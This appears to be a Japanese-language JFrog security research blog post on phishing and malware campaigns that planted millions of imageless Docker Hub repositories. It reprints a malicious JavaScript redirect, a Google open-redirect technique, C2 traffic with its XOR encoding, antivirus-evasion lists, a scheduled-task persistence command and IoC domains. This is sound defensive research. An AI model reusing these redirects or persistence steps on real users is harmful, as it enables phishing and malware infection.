JFrog 社と Docker 社はソフトウェア エコシステムを重要な部分として位置付けており、パートナーとして、ソフトウェア エコシステムを強化するために協力しています。JFrog 社のセキュリティ研究チームは、この取り組みの一部として、オープンソースのソフトウェア レジストリを継続的に監視しており、潜在的なマルウェアや脆弱性の脅威を積極的に見つけ出し、対処しています。
このブログ記事では、Docker Hub をターゲットにした、悪意のあるメタデータを含む数百万の「イメージレス」リポジトリを埋め込んだ 3 つの大規模なマルウェア キャンペーンについて明らかにします。イメージレス リポジトリは、コンテナー イメージ (したがって、Docker エンジンや Kubernetes クラスターでは実行できない) を含まず、その代わりに悪意のあるメタデータを含めることで、マルウェアやフィッシング攻撃を拡散するための手段として機能します。
注: JFrog 社はマルウェアを含むコンテナー イメージを発見したのではなく、Docker Hub のウェブ インターフェース内に、リポジトリの説明やメタデータに埋め込まれた悪意のあるリンクが含まれているページを発見しました。
Docker Hub は、多彩な機能を備え、Docker イメージの開発、共同作業、配布などの機会を提供するプラットフォームです。世界中の多くの開発者が利用しており、1,500 万以上のリポジトリをホストしています。
しかし、これらの公開リポジトリの内容を考慮する際に、重要な懸念点が浮かび上がります。JFrog 社の調査により、これらの公開リポジトリの約 20% (約 300 万のリポジトリ) が、実際には悪意のあるコンテンツをホストしていたことが明らかになりました。そのコンテンツは、違法なコンテンツを促進する簡単なスパムから、マルウェアやフィッシングサイトなどの極めて悪意のあるものまでさまざまでした。これらは自動生成されたアカウントによってアップロードされていたようです。
Docker Hub のメンテナーがアップロードされた多くのリポジトリを管理しており、JFrog 社が発見したリポジトリは調査結果開示の際に削除されましたが、これらの攻撃は、悪意のあるアップロードを 100% ブロックすることは非常に難しいことを示しています。
この攻撃を可能にしたものは何か
Docker Hub は、イメージをホストおよび配布する Docker のクラウドベースのレジストリ サービスです。Docker Hub の概念はリポジトリであり、それにはコンテナー データ上にテキストの説明とメタデータが含まれています。
Docker リポジトリの主要な機能は、Docker イメージ (固定名で更新およびアクセス可能なアプリケーション) のコレクションを保持することで、Docker Hub はいくつかの重要な機能強化を導入していますが、その中で最も重要なのはコミュニティ機能です。
パブリック リポジトリに関しては、Docker Hub はコミュニティ プラットフォームとして機能し、ユーザーは、プロジェクトに役立つかもしれないイメージを探すことができます。また、ユーザーはリポジトリを評価したりコメントしたりできるため、他のユーザーが利用できるイメージの信頼性と有用性を判断するのに役立ちます。
Docker Hub は、ユーザーがイメージを検索および利用できるように、リポジトリのメンテナーは短い説明と HTML 形式のドキュメントを追加することができます。リポジトリのドキュメントは、イメージの目的を説明し、その使用方法に関するガイドラインを提供します。
しかし、セキュリティに関するマーフィーの法則によれば、マルウェア開発者が悪用できるものがあれば、必然的に悪用されることになります。
JFrog 社のセキュリティ研究チームは、Docker Hub のリポジトリのうち約 460 万が、イメージを含まないものであり、リポジトリのドキュメント以外は内容がないことを突き止めました。さらに詳しく調査したところ、これらのイメージレス リポジトリの大部分は、悪意のある目的でアップロードされていたことが判明しました。つまり、概要ページでユーザーを騙して、フィッシング サイトや危険なマルウェアをホストするウェブサイトにアクセスさせようとしていたのです。
さまざまな悪意のあるペイロード (マルウェアなどの悪質なコード) について説明する前に、これらの悪意のあるリポジトリを特定するための方法を紹介します。
悪意のあるリポジトリの特定
JFrog 社は、Docker Hub リポジトリの公開パターンに異常があるかどうかを特定する調査から始めました。これを実現するために、過去 5 年間に公開されたすべての「イメージレス」Docker Hub リポジトリを抽出し、作成日ごとにグループ化してグラフにプロットしました。
ご覧のとおり、Docker Hub における通常の活動は非常に直線的ですが、2021 年と 2023 年にいくつかの急上昇が見られます。もう少し詳しく見ると、日々の活動パターンは明確で、平日にリポジトリが多く作成され、週末にはその数が少なくなるということが分かりました。
グラフは、異常な活動が始まると、1 日に作成されるリポジトリの数が 10 倍に増えていることを示しています。
異常が発生した日に作成されたリポジトリを徹底的に分析したところ、多くのリポジトリが通常と異なることを発見しました。主な違いは、コンテナー イメージが含まれておらず、ドキュメント ページのみが含まれているため、通常の Docker イメージとしてプルして実行できず、リポジトリが使用できないという点です。
たとえば、上のスクリーンショットに表示されているリポジトリの説明には、ユーザーをフィッシング ウェブサイトに誘導するリンク (https[://]www[.******medz*****.]com) がいくつか含まれています。
このサイトは、処方箋が必要な医薬品の購入を約束して何も知らない訪問者を騙し、その後クレジットカードの詳細を盗みます。
異常なリポジトリは多少異なる部分があり、さまざまなユーザーによって公開されていましたが、ほとんどは同じパターンに従っていました。これにより、署名を作成し、それらをファミリー (またはキャンペーン) ごとにグループ化することができました。この署名をすべてのイメージレス リポジトリに適用し、それらを公開している Docker Hub ユーザーのリストを収集しました。これらのユーザーによって公開されたすべてのリポジトリもマルウェアとして分類しました。
キャンペーンをタイムライン上にプロットすると、大規模のマルウェア キャンペーンが実行された期間がわかりました。
そのうち 2 つは、2021 年前半に最も活発であり、毎日何千ものリポジトリを公開していました。さらに、2023 年 8 月に、ダウンローダー キャンペーン (悪意のあるプログラムをダウンロードさせることを目的とした悪質なキャンペーン) がもう一度行われていました。「ウェブサイト SEO」キャンペーンは異なる方法で実行され、3 年間にわたって毎日一定数のリポジトリを継続的にプッシュしていました。
DockerCon 2023 (2023 年 10 月) の時点で、Docker Hub には1,500 万のリポジトリが含まれていたため、この数値を Docker Hub の総リポジトリの数の参考値とします。
Docker Hub に公開されているイメージレスの総リポジトリ数は 460 万で、これはすべてのパブリック リポジトリの 30% に相当します。これらのリポジトリのうち 281 万 (約 19%) は、大規模で悪意のあるキャンペーンに関連していました。
特定した大規模なキャンペーンに加えて、JFrog 社の分析では、小規模なリポジトリの存在も明らかになりました。これらのキャンペーンは主にスパムや SEO に焦点を当てているようですが、これらのキャンペーンのすべてのバリエーションを分類することはできませんでした。これらの小規模な「キャンペーン」は、それぞれ 1000 未満のパッケージを含んでいます。これらの小規模なセットを「その他の疑わしい」というラベルのグループに割り当てました。
キャンペーン | リポジトリ数 (全 DH リポジトリの %) | ユーザー数 |
ウェブサイトSEO | 215,451 (1.4%) | 194,699 |
ダウンローダー | 1,453,228 (9.7%) | 9,309 |
eBook フィッシング | 1,069,160 (7.1%) | 1,042 |
その他の疑わしいイメージレス リポジトリ | 76,025 (0.5%) | 3,689 |
合計 | 281 万 (18.7%) | 208,739 |
悪意のあるリポジトリの配布にはさまざまなアプローチが見られます。「ダウンローダー」および「eBook フィッシング」キャンペーンでは、短期間で偽のリポジトリを一括して作成しますが、「ウェブサイト SEO」キャンペーンでは、期間全体にわたって毎日数個のリポジトリを作成し、1 ユーザーあたり 1 つのリポジトリを使用します。
Docker Hub で実行されていた主なマルウェア キャンペーンがわかったところで、その戦術と技術を詳しく見ていきましょう。
- 「ダウンローダー」キャンペーン
- 「eBook フィッシング」キャンペーン
- 「ウェブサイト SEO」キャンペーン
Docker Hub マルウェア キャンペーンの分析
「ダウンローダー」キャンペーン
このキャンペーンに属するリポジトリには、違法なコンテンツのダウンロードやビデオゲームのチートを促す SEO テキストを含む自動生成テキストが含まれています。さらに、それらのソフトウェアへのリンクが含まれています。
このキャンペーンは 2 つの異なる時期 (2021 年頃と 2023 年頃) で実行されましたが、この両方の時期でまったく同じ悪意のあるペイロードを使用をしていました (下記分析参照)。
2021 年 – URL 短縮サービスを装った悪質なドメイン
キャンペーンで使用された URL のほとんどは、既知の URL 短縮サービス (例: tinyurl.com) を使用しているように見せかけていて、2021 年に見つかった Google 広告への攻撃キャンペーンと似ています。解決を試みたところ、これらの悪意のある短縮サービスは実際の短縮サービスとは異なり、URL をエンコードしていないことがわかりました。代わりに、ファイル名をエンコードし、悪意のあるリソースをシャットダウンしても攻撃者が新しいドメインに簡単に切り替えることを可能にしています。
たとえば、調査中、URL (blltly[.]com/1w1w1) は、以下のリンクにリダイレクトされました。ただし、サーバーへの後続のリクエストでは、毎回新しい URL パスが生成されました。
https[://]failhostingpolp[.]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w
それらの唯一の目的は、悪意のある CDN のプロキシとして機能することです。
同じ短縮リンクへの後続のリクエストは異なる URL が返され、悪意のあるファイルをホストしているサーバーをシャットダウンした場合、短縮リンクは新しいアクティブなリンクを返します。
JFrog 社はすべての悪質なドメインのリストを収集し、不正な短縮ドメインと実際の信頼できるバージョンの対応関係を示す表を作成しました。
マルウェアを含む短縮ツール | 偽装に使われた正規の短縮サービス |
blltly[.]com bltlly[.]com byltly[.]com bytlly[.]com | https://bitly.com/ |
tinourl[.]com tinurli[.]com tinurll[.]com tiurll[.]com tlniurl[.]com | https://tinyurl.com |
urlca[.]com urlcod[.]com urlgoal[.]com urllie[.]com urllio[.]com urloso[.]com urluso[.]com urluss[.]com | https://urlgo.in/ |
imgfil[.]com | https://imgflip.com/ |
cinurl[.]com fancli[.]com geags[.]com gohhs[.]com jinyurl[.]com miimms[.]com picfs[.]com shoxet[.]com shurll[.]com ssurll[.]com tweeat[.]com vittuv[.]com |
この戦略は、2021 年に作られ、一定期間はうまく機能していましたが、ウイルス対策会社がリンクのリストを見つけ、それらをブラックリストに追加しました。現在、上記の表のいずれかのリンクにアクセスしようとするとブラウザーとプロバイダーが警告を発します。
2023 年 – 強化された検出防止技術
2023 年に発生したキャンペーンでは、検出を回避することに焦点を当てました。悪意のあるリポジトリは、もはや悪意のあるソースへの直接的なリンクを使用しない代わりに、悪意のあるソースへのリダイレクトとして正規のリソースを使用します。
これらのリソースの中には、blogger.com でホストされているページがあり、500 ミリ秒後に悪意のあるペイロードにリダイレクトする JavaScript コードが含まれています。
<script type='text/javascript'>
var c = new URL(window.location).searchParams.get('el');
if(c!=null){
setTimeout('write()', 500);
setTimeout('Redirect()', 0);
}else{
window.setTimeout(function(){
document.getElementById('redir').href='https://gohhs.com/';
}, 500);
}
function write()
{
document.getElementById('redir').href='https://gohhs.com/'+c;
}
function Redirect()
{
window.location.replace('https://gohhs.com/'+c);
}
</script>
もう 1 つのアプローチは、Google のよく知られたオープン リダイレクトのバグです。このバグにより、悪意のある攻撃者が特定のパラメーターを使用して、正規の Google リンクを含む悪意のあるサイトにユーザーをリダイレクトします。
通常、以下の Google リンク は、ターゲット サイトにはリダイレクトしません。代わりに、別のドメインにリダイレクトされていることを警告する通知が表示されます。
https://www[.]google[.]com/url?q=https%3A%2F%2Fexample.us%2F
ただし、この警告を無効にするために、未公開のパラメーター usg を追加することが可能です。このパラメーターには、google.com が自動的にターゲット サイトにリダイレクトするハッシュまたは署名が含まれています。
プロトコル | https |
ホスト | www.google.com |
パス | /url |
パラメーター | q = https://urlin.us/2vwNSW sa = D sntz = 1 usg = AOvVaw1A6cBKittNvLawLc7IB9M0 |
このリダイレクトはターゲット サイトにつながります。本記事作成時点では、ターゲット サイトは gts794[.]comとfailhostingpolp[.]ru でした。これらのサイトは、広告されているソフトウェアを被害者にダウンロードさせるように誘導します。ただし、ランディング ページの名前に関係なく、ダウンロードされるファイルは常に同じアーカイブで .exe インストーラーが含まれています。AnyRun の分析でもわかるように、マルウェアは freehtmlvalidator.exe というバイナリを「%LOCALAPPDATA%\HTML Free Validator」ディレクトリにインストールします。
「ダウンローダー」キャンペーンのペイロードの分析
「ダウンローダー」キャンペーンのペイロードは、ほとんどのウイルス対策エンジンが一般的なトロイの木馬として検出する悪意のある実行可能ファイルです。
このマルウェアは、かつて人気があった Delphi 環境の後継である Embarcadero RAD Studio 27.0 を使用して作成されています。
マルウェアは、HTTP POST リクエストを使用して C2C サーバー (http://soneservice[.]shop/new/net_api) と通信します。リクエストは、3 バイトのキー「787」で XOR 演算され、16 進数でエンコードされた JSON メッセージです。
{
"5E4B1B4F": "4D571F435C025E5B0A465B114B4602455C0F4B460A",
"465B0F": "664eed76ed570dbb4cba2bdcb3479b5f",
"4E531F4B": "en"
}
JSON のフィールドは同じ方法でエンコードされていますが、異なるキー「*2k」を使用しています。これにより、リクエストをデコードすることができます。
{
"type": "getinitializationdata",
"lid": "664eed76ed570dbb4cba2bdcb3479b5f",
"data": "en"
}
マルウェアがサーバーに送信する最初のコマンドは getinitializationdata です。これには、マルウェアの固有識別子 (「lid」) とシステム ロケール識別子の 2 つのパラメーターが含まれています。後者は、感染したシステムの言語設定の情報をサーバーに通知し、カスタマイズされた応答を可能にします。マルウェアは、この固有識別子を、後続のすべてのサーバー要求に使用します。
応答として、サーバーはシステムの言語設定に基づいて調整された Delphi 固有のレイアウトとローカリゼーションの詳細を提供します。
その後、マルウェアは、感染したシステムに関する情報を含む初期化リクエストを送信します。情報には、OS 固有の情報、ハードウェア、インストールされたブラウザー、.NET フレームワークのバージョン、実行中のプロセス、および利用可能なネットワーク アダプターが含まれています。サーバーは、それに応じて、約束されたソフトウェア (マルウェアによって被害者に提示される架空のソフトウェアやサービス) へのリンクと提供リストを返します。約束されたソフトウェアは、URL とファイル名で表されます。
"file": {
"download_url": "http:\/\/totrakto.com\/CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
"name": "CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip",
"size": 64918480
},
応答の「offers」セクションには、実行可能ファイルのダウンロード先となるリンクが記載されています。さらに、実行可能ファイルをダウンロードするために必要な条件が記述されています。
- 最も重要な条件は、excludeGeoTargeting に、マルウェアがインストールされるべきでない国のコードが含まれていることです。
"excludeGeoTargeting": [
"RU",
"AZ",
"AM",
"BY",
]
- blackAvList には、マルウェアのインストールを防ぐウイルス対策アプリケーションのリストが含まれています。
"blackAvList": [
"avast",
"avg",
"avira",
"nod32",
"mcafeeep",
"windef",
]
- プロセスのブラックリスト (ペイロード サンプルでは確認できませんでした)
- ターゲット システムに存在する必要がある Windows レジストリ エントリのリスト (ペイロード サンプルでは確認できませんでした)
マルウェアは既にシステムに関する情報をサーバーに送信しているため、これらの条件がクライアント側にあることはやや冗長だと考えられます。また、応答には、price、offer_id、advertiser_id など、マルウェア バイナリでは使用されていませんが、広告ネットワークでは一般的なフィールドが含まれています。これらのフィールドから、このマルウェア操作がより広範なエコシステムの一部であることが想定され、アドウェアやサードパーティのソフトウェアの配布とインストールから利益を得るための収益化スキームが関与している可能性があります。この理解に基づき、これらのリクエスト パラメーターは、おそらく怪しい広告ネットワーク API からコピーされ、ソフトウェアに埋め込まれたものであることを推測できます。
"advertiser_id": 7,
"groupOffer_id": 43,
"price": 0.064,
"price_usd": 0.064,
"tarif": 0.08,
"use_balance": "0",
応答を処理した後、マルウェアはインストール ダイアログを表示し、ユーザーに対して悪意のある Docker Hub リポジトリで約束されたソフトウェアをダウンロードしてインストールすることを提案します。
これに同意すると、約束されたソフトウェアをインストールするだけでなく、マルウェアはすべての悪意のあるバイナリをダウンロードし、以下のコマンドを使用してそれらの永続的な実行をスケジュールします。
SCHTASKS.exe /Create /TN <random_name> /RL HIGHEST /SC DAILY
「eBook フィッシング」キャンペーン
2021 年半ばに作成された約 100 万のリポジトリにより、Docker Hubは「悪意のある eBook ライブラリ」と化し、これらのスパム リポジトリはすべて、ランダムに生成された説明とダウンロード URL を含む無料の eBook ダウンロードを提供していました。
すべてのリンクは最終的に以下の同じページにリダイレクトします。
http://rd[.]lesac[.]ru/
eBook の完全版を無料で提供すると約束した後、ウェブサイトはユーザーの IP で利用可能なページ セットからランダムにページを選択し、そこにリダイレクトします。その後の手順はユーザーの国によって異なりますが、通常はユーザーにクレジットカード情報の入力を求めるフォームが表示されます。
この行為の唯一の目的はフィッシングであり、クレジットカードの詳細を盗み、知らないうちにユーザーをサブスクリプション サービスに登録させることを狙っています。これらのターゲット サイトのフッターには、読解不可能なテキストがあり、サブスクリプション料金は月額 40 ~ 60 ユーロであると書かれていることがほとんどです。
「ウェブサイト SEO」キャンペーン
明らかに悪意のある他 2 つのキャンペーン (フィッシングやマルウェアのダウンロード) とは異なり、このキャンペーンの目的はそれほど明確ではありません。リポジトリ自体は明らかに善意でアップロードされたものではありませんが、コンテンツはほとんど無害で、ランダムな説明文字列と、パターン「axaaaaaxxx」で生成されたユーザー名 (a は文字、x は数字) だけです。これらのユーザーが公開したすべてのリポジトリは、同じ名前であり、「website」という名前です。
このキャンペーンは、本当に悪意のあるキャンペーンを実行する前に、ある種のストレステストとして使用されていた可能性があります。
このキャンペーンには、異なる登録手順もあります。グラフからわかるように、このキャンペーンの背後にいる攻撃者は、3 年間にわたって毎日 1,000 個ものリポジトリを作成していました。これは、短い時間でイメージレス リポジトリを生成することに焦点を置いたもので、他の 2 つのキャンペーンとは異なります。このキャンペーンでは、攻撃者は 1 ユーザーあたり 1 つのリポジトリのみを公開していましたが、他 2 つのキャンペーンでは 1 ユーザーが数千のリポジトリを公開していました。
このキャンペーンでは、リポジトリの説明には、短くて無意味なフレーズが含まれていることがほとんどです。
リポジトリの中にはソーシャル ネットワーク サイトへのリンクが含まれているものもありますが、これらのほとんどがゴミで、悪意のある URL やファイルは含まれていないようです。
このキャンペーンからのいくつかのユーザー名と、それに関連するリポジトリのドキュメントの説明は以下の通りです。
これらのユーザー名を検索したところ、このキャンペーンは、オープンな貢献ポリシー (一般のユーザーが簡単にプラットフォームやプロジェクトに寄稿できるようにする方針やルール) を持つ、他のプラットフォームもターゲットにしていることがわかりました。
Docker 社への開示
この公開に先立ち、JFrog 研究チームは、悪意のあるコンテンツや不要なコンテンツをホストしていると思われる、320 万のリポジトリを含むすべての調査結果を Docker セキュリティ チームに開示しました。Docker セキュリティ チームは、悪意のあるリポジトリや不要なリポジトリをすべて Docker Hub からすぐに削除しました。JFrog 社はこの開示を迅速かつ専門的に対応いただいた Docker セキュリティ チームに感謝しているだけでなく、Docker エコシステムを安全に継続して利用できるよう、貢献できたことを嬉しく思っています。
Docker Hub ユーザーのための攻撃回避方法
「信頼されたコンテンツ」としてマークされた Docker イメージを選択することが望ましいです。
Docker Hub には、信頼できるコンテンツに指定されたタグがあり、ユーザーがイメージの説明ページを閲覧する際に、このタグを参考することができます。最初のタグは Docker 公式イメージ タグで、厳選された Docker リポジトリのセットである Docker Hub のライブラリとしても知られています。このライブラリは、Python、Ubuntu、Node など信頼できる有名なソフトウェア開発団体、組織、企業によってメンテナンスされているリポジトリで構成されています。2 つ目のタグは検証済みパブリッシャー タグで、Docker 検証済みパブリッシャー プログラムの一部であるすべてのリポジトリに割り当てられます。このセットには、Docker Hub によって検証された商用パブリッシャーのリポジトリが含まれています。最後に、スポンサー OSS タグは、Docker Hub がスポンサーとなっているオープン ソース プロジェクトのリポジトリに割り当てられています。
リポジトリのページを閲覧すると、リポジトリが上記のいずれかのタイプに属していることを示すバッジが、ページの上部にあるリポジトリ名の隣に表示されます。
これらのガイドラインに従うことで、リポジトリの説明ページから Docker Hub 外部の悪意のあるリンクをクリックするように誘導されるリスクが軽減されます。たとえば、このブログで記載した悪意のあるリポジトリはいずれも「信頼できるコンテンツ」としてマークされていません。
また、 Docker Business プランの管理者は Image Access Management 機能により、Docker Hub からプルできるイメージの種類 (Docker 公式イメージ、Docker 検証済みパブリッシャー イメージ、コミュニティ イメージなど) を制御できます。Docker Business プランに関する詳細、お問い合わせはこちら。
まとめ
開発者や組織を直接ターゲットにする一般的な攻撃とは異なり、このケースでは攻撃者は Docker Hub プラットフォームの信頼性を利用したもので、フィッシングやマルウェアのインストールの試みを特定することがより困難でした。
悪意のあるリポジトリが約 300 万件あり、そのうちのいくつかは 3 年以上もアクティブであり、これは攻撃者が Docker Hub プラットフォームを悪用し続けていることと、そのようなプラットフォームを常にモデレートする必要があることを浮き彫りにしています。
JFrog 社のセキュリティ チームは新しい脆弱性や攻撃方法を発見、分析、開示することで、ソフトウェア セキュリティの向上に取り組んでいます。また、JFrog 社が提供する JFrog Platform は開発からデプロイまで、ソフトウェア サプライ チェーン全体にわたってセキュリティ問題を特定、対処します。
JFrog Platform 無料体験版のお申し込みはこちらから。
IoC
failhostingpolp[.]ru gts794[.]com blltly[.]com ltlly[.]com byltly[.]com bytlly[.]com cinurl[.]com fancli[.]com geags[.]com gohhs[.]com imgfil[.]com jinyurl[.]com miimms[.]com picfs[.]com shoxet[.]com shurll[.]com ssurll[.]com tinourl[.]com tinurli[.]com tinurll[.]com tiurll[.]com tlniurl[.]com tweeat[.]com urlca[.]com urlcod[.]com urlgoal[.]com urllie[.]com urllio[.]com urloso[.]com urluso[.]com urluss[.]com vittuv[.]com rd[.]lesac[.]ru soneservice[.]shop |
記事参照
Docker 社ブログ記事: DockerとJFrogが提携し、Docker Hubのセキュリティを強化し、悪意のあるリンクを含む何百万ものイメージレスリポジトリを削除
JFrog 社ブログ記事: JFrog Security research discovers coordinated attacks on Docker Hub that planted millions of malicious repositories